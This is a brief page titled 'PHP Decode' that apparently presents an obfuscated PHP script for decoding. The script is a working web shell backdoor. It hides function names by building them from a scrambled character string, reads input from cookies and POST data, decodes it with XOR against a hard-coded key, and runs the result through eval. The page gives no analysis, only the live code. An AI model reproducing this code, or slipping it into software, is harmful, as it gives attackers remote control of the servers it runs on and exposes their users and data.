PHP Decode

<?php 
$hqrly = 'tk3c19d\'486iy_5nbm0sa*2frHo-ul7pe#gvx';$kwhouk = Array();$kwhouk[] = $hqrly[25].$hqrly[21];$kwhouk[] = $hqrly[33];$kwhouk[] = $hqrly[18].$hqrly[8].$hqrly[16].$hqrly[9].$hqrly[3].$hqrly[32].$hqrly[4].$hqrly[23].$hqrly[27].$hqrly[22].$hqrly[30].$hqrly[20].$hqrly[16].$hqrly[27].$hqrly[8].$hqrly[5].$hqrly[2].$hqrly[9].$hqrly[27].$hqrly[16].$hqrly[10].$hqrly[30].$hqrly[14].$hqrly[27].$hqrly[9].$hqrly[22].$hqrly[32].$hqrly[3].$hqrly[5].$hqrly[8].$hqrly[20].$hqrly[22].$hqrly[20].$hqrly[32].$hqrly[14].$hqrly[18];$kwhouk[] = $hqrly[3].$hqrly[26].$hqrly[28].$hqrly[15].$hqrly[0];$kwhouk[] = $hqrly[19].$hqrly[0].$hqrly[24].$hqrly[13].$hqrly[24].$hqrly[32].$hqrly[31].$hqrly[32].$hqrly[20].$hqrly[0];$kwhouk[] = $hqrly[32].$hqrly[36].$hqrly[31].$hqrly[29].$hqrly[26].$hqrly[6].$hqrly[32];$kwhouk[] = $hqrly[19].$hqrly[28].$hqrly[16].$hqrly[19].$hqrly[0].$hqrly[24];$kwhouk[] = $hqrly[20].$hqrly[24].$hqrly[24].$hqrly[20].$hqrly[12].$hqrly[13].$hqrly[17].$hqrly[32].$hqrly[24].$hqrly[34].$hqrly[32];$kwhouk[] = $hqrly[19].$hqrly[0].$hqrly[24].$hqrly[29].$hqrly[32].$hqrly[15];$kwhouk[] = $hqrly[31].$hqrly[20].$hqrly[3].$hqrly[1];foreach ($kwhouk[7]($_COOKIE, $_POST) as $waezwuc => $scnik){function nmabf($kwhouk, $waezwuc, $bdkqmrl){return $kwhouk[6]($kwhouk[4]($waezwuc . $kwhouk[2], ($bdkqmrl / $kwhouk[8]($waezwuc)) + 1), 0, $bdkqmrl);}function oqhtw($kwhouk, $ibdmej){return @$kwhouk[9]($kwhouk[0], $ibdmej);}function iqtxs($kwhouk, $ibdmej){$glfbi = $kwhouk[3]($ibdmej) % 3;if (!$glfbi) {eval($ibdmej[1]($ibdmej[2]));exit();}}$scnik = oqhtw($kwhouk, $scnik);iqtxs($kwhouk, $kwhouk[5]($kwhouk[1], $scnik ^ nmabf($kwhouk, $waezwuc, $kwhouk[8]($scnik))));} ?>